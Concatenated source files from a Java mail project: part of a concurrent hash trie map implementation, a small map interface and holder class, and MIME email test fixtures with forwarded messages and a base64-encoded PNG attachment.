Preconditions.checkNotNull(key, "key must not be null"); final int hashCode = hash(key.hashCode()); Node node = rootTable.get(rootHash(hashCode)); return (node != null) ? (V) node.get(hashCode, key) : null; } @Override public boolean isEmpty() { return 0 == size(); } @Override public V put(K key, V value) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(value, "key must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node node = rootTable.get(rootHash); V result = null; if (node != null) { Out<Object> out = new Out<Object>(); rootTable.set(rootHash, node.put(0, hashCode, key, value, out)); result = (V) out.value; } else { rootTable.set(rootHash, Node.newLeafNode(hashCode, key, value)); } return result; } @Override public void putAll(Map<? extends K, ? extends V> m) { for (Map.Entry<? extends K, ? extends V> entry : m.entrySet()) { put(entry.getKey(), entry.getValue()); } } @Override public V remove(Object key) { final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node node = rootTable.get(rootHash); if (node != null) { Out<Object> out = new Out<Object>(); rootTable.set(rootHash, node.remove(hashCode, key, out)); return (V) out.value; } return null; } @Override public int size() { int size = 0; for (int i = 0, n = rootTable.length(); i < n; i++) { Node node = rootTable.get(i); if (node != null) { size += node.size(); } } return size; } private final int rootHash(final int hashCode) { return hashCode & rootTableMask; } /** * Stolen from java.util.HashMap. * * @param h * @return */ static int hash(int h) { // This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); } // ------------------ Trie Node ---------------------------- private static final class Node { private static final int BITMAPPED = 0; private static final int LEAF = 1; private static final int LIST = 2; private static final int LEAF_LEVEL = LEAF << 24; private static final int LIST_LEVEL = LIST << 24; private final int level; private final Object[] table; private final int bitMap; private final int size; private Node(int level, Object[] table, int bitMap, int size) { this.level = level; this.table = table; this.bitMap = bitMap; this.size = size; } // ---------------- Get Methods ---------------- public final Object get(final int hashCode, Object key) { int type = getType(); switch (type) { case BITMAPPED: return getBitMapped(hashCode, key); case LEAF: return getLeaf(hashCode, key); case LIST: return getList(hashCode, key); default: throw new IllegalStateException(); } } private Object getBitMapped(int hashCode, Object key) { int bitIndex = 1 << getPartialHash(hashCode, level); if ((bitIndex & bitMap) != 0) { int index = bitCount((bitIndex - 1) & bitMap); return ((Node) table[index]).get(hashCode, key); } return null; } private Object getLeaf(int hashCode, Object key) { if (keyMatches(hashCode, key)) { return table[1]; } return null; } private boolean keyMatches(final int hashCode, Object key) { return this.bitMap == hashCode && (table[0] == key || table[0].equals(key)); } private Object getList(int hashCode, Object key) { for (int i = 0, n = table.length; i < n; i += 2) { Object storedKey = table[i]; if (storedKey == key || storedKey.equals(key)) { return table[i + 1]; } } return null; } // ---------------- Put Methods ---------------- public final Node put(int level, final int hashCode, Object key, Object value, Out<Object> out) { int type = getType(); switch (type) { case BITMAPPED: return putBitMapped(level, hashCode, key, value, out); case LEAF: return putLeaf(level, hashCode, key, value, out); case LIST: return putList(level, hashCode, key, value, out); default: throw new IllegalStateException(); } } private Node putBitMapped(int level, final int hashCode, Object key, Object value, Out<Object> out) { int bitIndex = 1 << getPartialHash(hashCode, level); int index = bitCount((bitIndex -1) & bitMap); if ((bitIndex & bitMap) == 0) { Node node = newLeafNode(hashCode, key, value); return new Node(level, copyAndInsert(table, node, index), bitMap | bitIndex, this.size + 1); } else { Node node = ((Node) table[index]).put(level + 1, hashCode, key, value, out); int size = (out.value == null) ? this.size + 1 : this.size; return new Node(level, copyAndReplace(table, node, index), bitMap, size); } } private Node putLeaf(int level, final int hashCode, Object key, Object value, Out<Object> out) { if (bitMap == hashCode) { Object storedKey = table[0]; if (storedKey == key || storedKey.equals(key)) { out.value = table[1]; return newLeafNode(hashCode, key, value); } else { return newListNode(hashCode, table[0], table[1], key, value); } } else { return Node.create(level, bitMap, this, hashCode, newLeafNode(hashCode, key, value)); } } private Node putList(int level, final int hashCode, Object key, Object value, Out<Object> out) { int index = find(hashCode, key, out); if (out.value == null) { return newListNode(hashCode, copyAndInsert(table, key, value, table.length)); } else { return newListNode(hashCode, copyAndReplace(table, key, value, index)); } } // -------------- Remove Methods ------------------- public final Node remove(final int hashCode, Object key, Out<Object> out) { int type = getType(); switch (type) { case BITMAPPED: return removeBitMapped(hashCode, key, out); case LEAF: return removeLeaf(hashCode, key, out); case LIST: return removeList(hashCode, key, out); default: throw new IllegalStateException(); } } private Node removeBitMapped(final int hashCode, Object key, Out<Object> out) { int bitIndex = 1 << getPartialHash(hashCode, level); if ((bitIndex & bitMap) != 0) { int index = bitCount((bitIndex - 1) & bitMap); Node child = ((Node) table[index]).remove(hashCode, key, out); if (out.value != null) { if (child == null) { if (table.length != 2) { return new Node(level, copyAndRemove(table, index), bitMap ^ bitIndex, size - 1); } else { return (Node) table[index ^ 1]; } } else { return new Node(level, copyAndReplace(table, child, index), bitMap, size - 1); } } } return this; } private Node removeLeaf(int hashCode, Object key, Out<Object> out) { if (keyMatches(hashCode, key)) { out.value = table[1]; return null; } else { return this; } } private Node removeList(final int hashCode, Object key, Out<Object> out) { int index = find(hashCode, key, out); if (out.value != null) { if (table.length != 4) { return newListNode(hashCode, copyAndRemove2(table, index)); } else { int remainingNodeIndex = ((index >> 1) ^ 1) << 1; return newLeafNode(hashCode, table[remainingNodeIndex], table[remainingNodeIndex + 1]); } } return this; } private int getType() { return level >> 24; } private Node newListNode(int hashCode, Object[] table) { return new Node(LIST_LEVEL, table, hashCode, table.length >> 1); } private Node newListNode(int hashCode, Object keyA, Object valueA, Object keyB, Object valueB) { return new Node(LIST_LEVEL, new Object[] { keyA, valueA, keyB, valueB }, hashCode, 2); } private static Node newLeafNode(int hashCode, Object key, Object value) { return new Node(LEAF_LEVEL, new Object[] { key, value }, hashCode, 1); } private int find(final int hashCode, Object key, Out<Object> out) { for (int i = 0, n = table.length; i < n; i += 2) { Object storedKey = table[i]; if (storedKey == key || storedKey.equals(key)) { out.value = table[i + 1]; return i; } } return 0; } public int size() { return size; } private static int getPartialHash(final int hashCode, int level) { int levelShift = level * 5; int mask = 0x1F << levelShift; return ((mask & hashCode) >>> levelShift); } private static Node create(int level, int hashCodeA, Node nodeA, int hashCodeB, Node nodeB) { int partialHashA = getPartialHash(hashCodeA, level); int partialHashB = getPartialHash(hashCodeB, level); Node[] table; if (partialHashA < partialHashB) { table = new Node[] { nodeA, nodeB }; } else if (partialHashA > partialHashB) { table = new Node[] { nodeB, nodeA }; } else if (nodeA.hashCode() != nodeB.hashCode()) { Node node = create(level + 1, hashCodeA, nodeA, hashCodeB, nodeB); table = new Node[] { node }; } else { throw new UnsupportedOperationException(); } return new Node(level, table, (1 << partialHashA) | (1 << partialHashB), nodeA.size() + nodeB.size()); } public Iterator iterator() { switch(getType()) { case BITMAPPED: return new BitMappedIterator(this); case LEAF: return new ListNodeIterator(table); case LIST: return new ListNodeIterator(table); default: throw new IllegalStateException(); } } } // -------------- Iterators ----------------------- private final class RootTableIterator implements Iterator<Entry<K, V>> { private int pointer = 0; private Iterator<Map.Entry> child = null; @Override public boolean hasNext() { while ((child == null || !child.hasNext()) && pointer < rootTable.length()) { Node node = rootTable.get(pointer++); if (node != null) { child = node.iterator(); } } return child != null ? child.hasNext() : false; } @Override public java.util.Map.Entry<K, V> next() { if (!hasNext()) { throw new NoSuchElementException(); } return child.next(); } @Override public void remove() { throw new UnsupportedOperationException(); } } private static final class BitMappedIterator implements Iterator<Map.Entry> { private final Node node; private int pointer = -1; private Iterator<Map.Entry> child = null; public BitMappedIterator(Node node) { this.node = node; } @Override public boolean hasNext() { if (pointer >= node.table.length) { return false; } if (child == null) { child = ((Node) node.table[++pointer]).iterator(); } return child.hasNext(); } @Override public Map.Entry next() { if (pointer >= node.table.length) { throw new NoSuchElementException(); } if (child == null) { child = ((Node) node.table[++pointer]).iterator(); } Map.Entry result = child.next(); if (!child.hasNext()) { child = null; } return result; } @Override public void remove() { throw new UnsupportedOperationException(); } } public static class ListNodeIterator implements Iterator<Map.Entry>, Map.Entry { private int pointer = 0; private final Object[] table; public ListNodeIterator(Object[] table) { this.table = table; } @Override public boolean hasNext() { return pointer < table.length; } @Override public java.util.Map.Entry next() { if (!hasNext()) { throw new NoSuchElementException(); } pointer += 2; return this; } @Override public void remove() { throw new UnsupportedOperationException(); } @Override public Object getKey() { return table[pointer - 2]; } @Override public Object getValue() { return table[pointer - 1]; } @Override public Object setValue(Object value) { throw new UnsupportedOperationException(); } } // ------------------- Collection Support -------------------- @Override public Set<java.util.Map.Entry<K, V>> entrySet() { return new AbstractSet<Entry<K,V>>() { @Override public Iterator<java.util.Map.Entry<K, V>> iterator() { return new RootTableIterator(); } @Override public int size() { return ConcurrentHashTrie2.this.size(); } }; } @Override public Collection<V> values() { return new AbstractCollection<V>() { @Override public Iterator<V> iterator() { return new Iterator<V>() { private final RootTableIterator rootTableIterator = new RootTableIterator(); @Override public boolean hasNext() { return rootTableIterator.hasNext(); } @Override public V next() { return rootTableIterator.next().getValue(); } @Override public void remove() { rootTableIterator.remove(); } }; } @Override public int size() { return ConcurrentHashTrie2.this.size(); } }; } @Override public Set<K> keySet() { return new AbstractSet<K>() { @Override public Iterator<K> iterator() { return new Iterator<K>() { private final RootTableIterator rootTableIterator = new RootTableIterator(); @Override public boolean hasNext() { return rootTableIterator.hasNext(); } @Override public K next() { return rootTableIterator.next().getKey(); } @Override public void remove() { rootTableIterator.remove(); } }; } @Override public int size() { return ConcurrentHashTrie2.this.size(); } }; } // -------------- Utility Methods ---------------------- public static Object[] copyAndRemove(Object[] nodes, int index) { int len = nodes.length - 1; Object[] newNodes = new Object[len]; arraycopy(nodes, 0, newNodes, 0, index); arraycopy(nodes, index + 1, newNodes, index, len - index); return newNodes; } public static Object[] copyAndRemove2(Object[] nodes, int index) { int len = nodes.length - 2; Object[] newNodes = new Object[len]; arraycopy(nodes, 0, newNodes, 0, index); arraycopy(nodes, index + 2, newNodes, index, len - index); return newNodes; } public static Object[] copyAndReplace(Object[] nodes, Node node, int index) { int len = nodes.length; Object[] newNodes = new Object[len]; System.arraycopy(nodes, 0, newNodes, 0, len); newNodes[index] = node; return newNodes; } public static Object[] copyAndReplace(Object[] nodes, Object key, Object value, int index) { int len = nodes.length; Object[] newNodes = new Object[len]; System.arraycopy(nodes, 0, newNodes, 0, len); newNodes[index] = key; newNodes[index + 1] = value; return newNodes; } public static Object[] copyAndInsert(Object[] nodes, Node node, int index) { int len = nodes.length; Object[] newNodes = new Object[len + 1]; arraycopy(nodes, 0, newNodes, 0, index); arraycopy(nodes, index, newNodes, index + 1, len - index); newNodes[index] = node; return newNodes; } public static Object[] copyAndInsert(Object[] nodes, Object key, Object value, int index) { int len = nodes.length; Object[] newNodes = new Object[len + 2]; arraycopy(nodes, 0, newNodes, 0, index); arraycopy(nodes, index, newNodes, index + 2, len - index); newNodes[index] = key; newNodes[index + 1] = value; return newNodes; } }
zzuoqiang-teremail
commons/src/main/java/org/teresoft/collections/concurrent/ConcurrentHashTrie2.java
Java
lgpl
25,831
package org.teresoft.collections; public interface Map<K, V> { V get(Object key); Map<K, V> put(K key, V value, Out<V> holder); Map<K, V> remove(K key, Out<V> holder); }
zzuoqiang-teremail
commons/src/main/java/org/teresoft/collections/Map.java
Java
lgpl
195
package org.teresoft.collections; public class Out<T> { public T value; }
zzuoqiang-teremail
commons/src/main/java/org/teresoft/collections/Out.java
Java
lgpl
79
Subject: [Fwd: Test Image] From: Michael Barker <mbarker@buni.org> To: tom@localhost Content-Type: multipart/mixed; boundary="=-aqUdPSSJmLNPlfkFjcKR" Date: Sun, 14 Jan 2007 13:13:12 +0000 Message-Id: <1168780392.4824.4.camel@corona> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 X-Evolution-Source: pop://mikeb01@pop.gmail.com/ --=-aqUdPSSJmLNPlfkFjcKR Content-Type: text/plain Content-Transfer-Encoding: 8bit Check out the image. --=-aqUdPSSJmLNPlfkFjcKR Content-Disposition: inline Content-Type: multipart/mixed; boundary="=-cnjK4PqTMQ6N5rTKF9ah" --=-cnjK4PqTMQ6N5rTKF9ah Content-Type: text/plain Content-Transfer-Encoding: 8bit Here is buni's image. --=-cnjK4PqTMQ6N5rTKF9ah Content-Disposition: attachment; filename=buni1small.png Content-Type: image/png; name=buni1small.png Content-Transfer-Encoding: base64 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 HldpqQAAAABJRU5ErkJggg== --=-cnjK4PqTMQ6N5rTKF9ah-- --=-aqUdPSSJmLNPlfkFjcKR--
zzuoqiang-teremail
teremail-core/src/test/resources/single-image-multi.msg
omnetpp-msg
lgpl
4,148
Content-Disposition: inline Content-Transfer-Encoding: binary Content-Type: message/rfc822 MIME-Version: 1.0 X-Mailer: MIME::Lite 1.147 (B2.09; Q2.03) Date: Tue, 6 Jun 2000 03:20:11 UT From: user2 To: user0 Subject: Re: Fwd: hello world Content-Disposition: inline Content-Transfer-Encoding: binary Content-Type: message/rfc822 MIME-Version: 1.0 X-Mailer: MIME::Lite 1.147 (B2.09; Q2.03) Date: Tue, 6 Jun 2000 03:20:11 UT From: user1 To: user2 Subject: Fwd: hello world Content-Disposition: inline Content-Length: 60 Content-Transfer-Encoding: binary Content-Type: text/plain MIME-Version: 1.0 X-Mailer: MIME::Lite 1.147 (B2.09; Q2.03) Date: Tue, 6 Jun 2000 03:20:11 UT From: user0 To: user1 Subject: hello world This is the original message. Let's see if we can embed it!
zzuoqiang-teremail
teremail-core/src/test/resources/re-fwd.msg
omnetpp-msg
lgpl
812
Subject: [Fwd: Test Image] From: Michael Barker <mbarker@buni.org> To: tom@localhost Content-Type: multipart/mixed; boundary="=-aqUdPSSJmLNPlfkFjcKR" Date: Sun, 14 Jan 2007 13:13:12 +0000 Message-Id: <1168780392.4824.4.camel@corona> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 X-Evolution-Source: pop://mikeb01@pop.gmail.com/ --=-aqUdPSSJmLNPlfkFjcKR Content-Type: text/plain Content-Transfer-Encoding: 8bit Check out the image. --=-aqUdPSSJmLNPlfkFjcKR Content-Disposition: inline Content-Description: Forwarded message - Test Image Content-Type: message/rfc822 Return-Path: <mike@middlesoft.co.uk> Received: by 10.90.31.15 with SMTP id e15cs1112829age; Sun, 14 Jan 2007 05:10:47 -0800 (PST) Received: by 10.78.97.7 with SMTP id u7mr1818798hub.1168780246457; Sun, 14 Jan 2007 05:10:46 -0800 (PST) Received: from mx2.turbodns.co.uk (mx2.turbodns.co.uk [81.21.76.59]) by mx.google.com with SMTP id 2si2727092hue.2007.01.14.05.10.46; Sun, 14 Jan 2007 05:10:46 -0800 (PST) Received-SPF: neutral (google.com: 81.21.76.59 is neither permitted nor denied by best guess record for domain of mike@middlesoft.co.uk) Received: (qmail 82887 invoked by uid 68); 14 Jan 2007 13:10:33 -0000 Received: (qmail 82850 invoked by uid 1024); 14 Jan 2007 13:10:32 -0000 Received: from mike@middlesoft.co.uk by server28.donhost.co.uk by uid 1002 with qmail-scanner-1.22 ( Clear:RC:0(62.241.162.31):. Processed in 3.545077 secs); 14 Jan 2007 13:10:32 -0000 Received: from unknown (HELO galaxy.systems.pipex.net) (62.241.162.31) by 192.168.147.22 with SMTP; 14 Jan 2007 13:10:28 -0000 Received: from [192.168.0.101] (81-179-72-185.dsl.pipex.com [81.179.72.185]) by galaxy.systems.pipex.net (Postfix) with ESMTP id A6A9AE000325 for <mike@middlesoft.co.uk>; Sun, 14 Jan 2007 13:09:50 +0000 (GMT) Delivered-To: mikeb01@gmail.com Delivered-To: middlesoft-mike@middlesoft.co.uk Subject: Test Image From: Michael Barker <mike@middlesoft.co.uk> To: mike@middlesoft.co.uk Content-Type: multipart/mixed; boundary="=-cnjK4PqTMQ6N5rTKF9ah" Date: Sun, 14 Jan 2007 13:09:00 +0000 Message-Id: <1168780140.4824.0.camel@corona> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 --=-cnjK4PqTMQ6N5rTKF9ah Content-Type: text/plain Content-Transfer-Encoding: 8bit Here is buni's image. --=-cnjK4PqTMQ6N5rTKF9ah Content-Disposition: attachment; filename=buni1small.png Content-Type: image/png; name=buni1small.png Content-Transfer-Encoding: base64 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 HldpqQAAAABJRU5ErkJggg== --=-cnjK4PqTMQ6N5rTKF9ah-- --=-aqUdPSSJmLNPlfkFjcKR--
zzuoqiang-teremail
teremail-core/src/test/resources/single-image-attached.msg
omnetpp-msg
lgpl
5,780
Subject: [Fwd: Test Image] From: Michael Barker <mbarker@buni.org> To: tom@localhost Content-Type: multipart/mixed; boundary="=-2+DeabYuUOigcABipoEQ" Date: Sun, 14 Jan 2007 13:13:12 +0000 Message-Id: <1168780392.4824.4.camel@corona> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 X-Evolution-Source: pop://mikeb01@pop.gmail.com/ --=-2+DeabYuUOigcABipoEQ Content-Type: text/plain Content-Transfer-Encoding: 8bit Check out the image. -------- Forwarded Message -------- > From: Michael Barker <mike@middlesoft.co.uk> > To: mike@middlesoft.co.uk > Subject: Test Image > Date: Sun, 14 Jan 2007 13:09:00 +0000 > > Here is buni's image. > > --=-2+DeabYuUOigcABipoEQ Content-Disposition: attachment; filename=buni1small.png Content-Type: image/png; name=buni1small.png Content-Transfer-Encoding: base64 iVBORw0KGgoAAAANSUhEUgAAAG0AAAApCAMAAAAI71ceAAADAFBMVEV1AAN3AAPOsZ3Nrp2bTTqQ NjTStJ2JHgJyCQJfBAJ1CAKAERJcAQJkBgKkYVOFGgLZwqydUkSzfm27i3trCgK+koFbAAJvDQKG Hx9iBgJyAAN9EQJoCALStqOnbmB/ERKSJgPp4cyJKCdiAwJ5DQJ5CgK4gW2LLSuNMC5yDwJ6BAbI 